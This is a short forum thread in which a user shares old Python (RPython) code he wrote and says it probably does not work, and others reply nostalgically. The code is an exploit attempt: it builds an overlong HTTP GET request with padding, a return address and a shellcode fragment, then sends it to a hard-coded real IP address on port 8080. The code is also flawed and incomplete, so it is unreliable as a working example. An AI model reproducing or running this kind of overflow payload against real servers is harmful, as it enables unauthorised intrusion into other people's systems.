Old code - From back in the days of awesomeness

Questions about programming languages and debugging
Post Reply
User avatar
maboroshi
Dr. Mab
Dr. Mab
Posts: 1624
Joined: 28 Aug 2005, 16:00
18

Old code - From back in the days of awesomeness

Post by maboroshi »

I wrote this code (below) a long time ago based off of this: http://www.suck-o.com/forums/viewtopic. ... oit#p73499

This likely does not work but I figured it was a pretty fun blast from the past. :D

Code: Select all

from pypy.rlib import rsocket
from pypy.rpython.lltypesystem import lltype
from pypy.rpython.lltypesystem import rffi

def main(argv):
    PORT = 8080
    JUNK = "A"
    ret = "\x67\x42\xa7\x71"
    mycode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49")
    request = "GET /"
    
    for i in range(776):
        request += JUNK
        request += ret
        request += mycode
        request += " HTTP/1.1"
        request += "\r\n"
        ptr = rffi.str2charp(mycode)  # returns a "char*" pointer

        print ptr
        print len(request)

        s = rsocket.RSocket(rsocket.AF_INET, rsocket.SOCK_STREAM)
        target = rsocket.INETAddress("85.25.149.220", 8080)
        
        s.connect(target)
        s.send((request, 0))

    return 0

    
def target(*args):
    return main, None

User avatar
bad_brain
Site Owner
Site Owner
Posts: 11636
Joined: 06 Apr 2005, 16:00
19
Location: In your eye floaters.
Contact:

Re: Old code - From back in the days of awesomeness

Post by bad_brain »

I remember that one....but I like your newer projects much more to be honest... :D
Image

User avatar
maboroshi
Dr. Mab
Dr. Mab
Posts: 1624
Joined: 28 Aug 2005, 16:00
18

Re: Old code - From back in the days of awesomeness

Post by maboroshi »

Me to, we have all made a few hallmark improvements over the years :D

User avatar
CommonStray
Forum Assassin
Forum Assassin
Posts: 1215
Joined: 20 Aug 2005, 16:00
18

Re: Old code - From back in the days of awesomeness

Post by CommonStray »

Most notably making money.

Post Reply